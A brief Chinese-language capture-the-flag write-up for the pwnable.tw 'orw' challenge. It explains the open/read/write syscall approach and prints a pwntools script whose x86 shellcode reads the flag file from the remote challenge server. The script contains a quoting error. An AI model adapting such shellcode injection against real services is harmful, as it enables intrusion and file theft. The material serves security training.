Pwnable.tw orw

这题还是比较简单的

题目的描述看 显然是要写shellcode来读flag文件

binary会直接执行写入的shellcode

伪代码

char*file='home/orw/flag';

sys_open(file,0,0);

sys_read(3,file,0x30);

sys_write(1,file,0x30);

系统调用的参数详见这里

然后就相当于用汇编构造出这些函数,可能需要对x86汇编有一些基本的了解

利用脚本

from pwn import *

context.log_level="debug"

s = remote('chall.pwnable.tw',10001)

shellcode = ''"

shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')

shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')

shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')

def pwn():

    recv = s.recvuntil(':')

    print recv

    s.sendline(shellcode)

    flag = s.recv()

pwn()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容